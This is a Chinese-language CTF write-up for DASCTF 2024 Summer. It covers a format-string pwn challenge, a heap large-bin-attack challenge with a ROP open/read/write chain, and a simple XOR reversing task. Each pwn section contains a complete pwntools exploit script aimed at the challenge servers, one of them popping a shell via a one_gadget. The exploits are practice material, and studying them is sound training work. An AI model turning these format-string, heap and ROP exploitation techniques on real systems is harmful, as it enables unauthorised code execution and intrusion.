题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge

pwn

spring_board

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  myinit(argc, argv, envp);
  puts("Life is not boring, dreams are not out of reach.");
  puts("Sometimes you just need a springboard.");
  puts("Then you can see a wider world.");
  puts("There may be setbacks along the way.");
  puts("But keep your love of life alive.");
  puts("I believe that you will succeed.");
  puts("Good luck.");
  putchar(10);
  puts("Here's a simple pwn question, challenge yourself.");
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()
# _libc_stack
payload = "-%9$p-%11$p"

# ru("Please enter a keyword")
s(payload)

ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)

success(hex(libc_base))
success(hex(stack))

target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))

one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028

success(f"one_gadget ->{hex(one_gadget)}")


# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")

payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)

# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))

s(payload)


# g(p)
s(b'/bin/sh\x00')


p.interactive()

magicbook

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  sandbox();
  menu1();
  dest = malloc(0x100uLL);
  while ( 1 )
  {
    book = (unsigned __int16)book;
    menu2();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          edit_the_book();
          break;
        case 1:
          creat_the_book();
          break;
        case 2:
          delete_the_book();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

size_t creat_the_book()
{
  size_t v0; // rbx
  __int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

  if ( book > 5 )
  {
    puts("full!!");
    exit(0);
  }
  printf("the book index is %d\n", book);
  puts("How many pages does your book need?");
  LODWORD(size[0]) = 0;
  __isoc99_scanf("%u", size);
  if ( LODWORD(size[0]) > 0x500 )
  {
    puts("wrong!!");
    exit(0);
  }
  v0 = book;
  p[v0] = malloc(LODWORD(size[0]));
  return ++book;
}

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "48.218.22.35"
PORT = 10000

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def create(size):
    sla("Your choice:","1")
    sla("How many pages does your book need?",str(size))

def delete(idx,y = 0,idx1 = 0,content = b''):
    sla("Your choice:","2")
    sla("which book would you want to delete?",str(idx))
    if y:
        sla("Do you want to say anything else before being deleted?(y/n)","y")
        sla("which page do you want to write?",str(idx1))
        sa("content: ",content)
    else:
        sla("Do you want to say anything else before being deleted?(y/n)","n")

def edit(content):
    sla("Your choice:","3")
    sa("come on,Write down your story!",content)


ru("give you a gift: ")
d = int(r(14),16)
elf_base = d - 0x4010
success(hex(d))
success(hex(elf_base))

create(0x4d8)
create(0x38)
create(0x4b8)

delete(0)
create(0x500) # large bin

book = elf_base + 0x000000000004050
delete(2,1,0,p64(0) * 2 + p64(book - 0x20))
create(0x500) # large bin attack

rdi = elf_base + 0x0000000000001863
rsi = elf_base + 0x0000000000001861 # pop rsi r15 ret
bss = elf_base + 0x4110
edit_func = elf_base + 0x0000000000015E1

puts_got = elf_base + elf.got['puts']
puts_plt = elf_base + elf.plt['puts']

payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
edit(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))


rdx = libc_base + 0x000000000011f2e7 # pop rdx r12 ret
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']


payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
time.sleep(0.3)
sl(payload)

payload = flat([
    b'a' * 0x28,
    rdi,0,rsi,bss,0,rdx,0x8,0,read,
    rdi,bss,rsi,0,0,open,
    rdi,3,rsi,bss,0,rdx,0x40,0,read,
    rdi,1,rsi,bss,0,rdx,0x40,0,write
])

time.sleep(1)
sl(payload)

success(hex(bss))
# g(p)
time.sleep(1)
s(b'./flag\x00\x00')


# g(p)

p.interactive()

re

DosSnake

16位的程序,发现有一个dasctf的字段,查找dasctf字段的引用发现这样一段逻辑,可以发现就是一个简单的异或加密,置反一下得到flag

encrypted_data = [
    0x3F, 0x09, 0x63, 0x34, 0x32, 0x13, 0x2A, 0x2F, 0x2A, 0x37,
    0x3C, 0x23, 0x00, 0x2E, 0x20, 0x10, 0x3A, 0x27, 0x2F, 0x24,
    0x3A, 0x30, 0x75, 0x67, 0x65, 0x3C, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00
]

key = [0x44, 0x41, 0x53, 0x43, 0x54, 0x46]
key_length = len(key)

decrypted_data = []

for i in range(len(encrypted_data)):
    decrypted_byte = encrypted_data[i] ^ key[i % key_length]
    decrypted_data.append(decrypted_byte)

for i in decrypted_data:
    print(chr(i),end="")
# {H0wfUnnytheDosSnakeis!!!}
⬆︎TOP